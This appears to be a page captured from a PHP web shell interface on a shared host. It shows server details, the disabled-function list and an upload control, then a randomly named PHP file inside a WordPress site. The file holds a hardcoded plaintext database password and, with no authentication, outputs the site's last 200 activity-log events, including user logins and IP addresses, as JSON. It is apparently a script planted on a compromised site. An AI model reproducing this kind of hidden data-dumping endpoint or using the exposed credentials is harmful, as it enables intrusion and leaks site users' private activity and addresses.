HEX
Server: LiteSpeed
System: Linux srv147.niagahoster.com 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: u5264046 (1022)
PHP: 7.4.33
Disabled: symlink,shell_exec,exec,popen,system,dl,passthru,escapeshellarg,escapeshellcmd,show_source,pcntl_exec
Upload Files
File: /home/u5264046/public_html/servicebrankas_com/cfai_7q1q5uxow51580.php
<?php error_reporting(0);
try {
  $pdo = new PDO('mysql:host=localhost;dbname=u5264046_servicebrankas;charset=utf8','u5264046_servicebrankas','@Pokenah008');
  $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $p = 'wp_';
  $kc = 'key_name';
  try {
    $desc = $pdo->query("DESCRIBE {$p}simple_history_contexts")->fetchAll(PDO::FETCH_COLUMN);
    if (!in_array('key_name', $desc) && in_array('key', $desc)) { $kc = '`key`'; }
  } catch(Exception $_e) {}
  $rows = $pdo->query("SELECT id, date, logger, level, message FROM wp_simple_history ORDER BY id DESC LIMIT 200")->fetchAll(PDO::FETCH_ASSOC);
  if ($rows) {
    $ids = array_column($rows, 'id');
    $ph  = implode(',', array_fill(0, count($ids), '?'));
    $st  = $pdo->prepare("SELECT history_id, {$kc} AS k, value FROM {$p}simple_history_contexts WHERE history_id IN ($ph)");
    $st->execute($ids);
    $ctxMap = [];
    foreach ($st->fetchAll(PDO::FETCH_ASSOC) as $c) { $ctxMap[$c['history_id']][$c['k']] = $c['value']; }
    foreach ($rows as &$row) {
      $ctx = isset($ctxMap[$row['id']]) ? $ctxMap[$row['id']] : [];
      $msg = $row['message'];
      foreach ($ctx as $k => $v) { if ($k[0] !== '_') { $msg = str_replace('{' . $k . '}', $v, $msg); } }
      $row['message']    = $msg;
      $row['user_login'] = isset($ctx['_user_login']) ? $ctx['_user_login'] : '';
      $row['ip']         = isset($ctx['_server_remote_addr']) ? $ctx['_server_remote_addr'] : '';
    }
  }
  header('Content-Type: application/json');
  echo json_encode(['ok'=>true,'source'=>'wp_db','events'=>$rows]);
} catch(Exception $e) {
  header('Content-Type: application/json');
  echo json_encode(['ok'=>false,'error'=>$e->getMessage()]);
}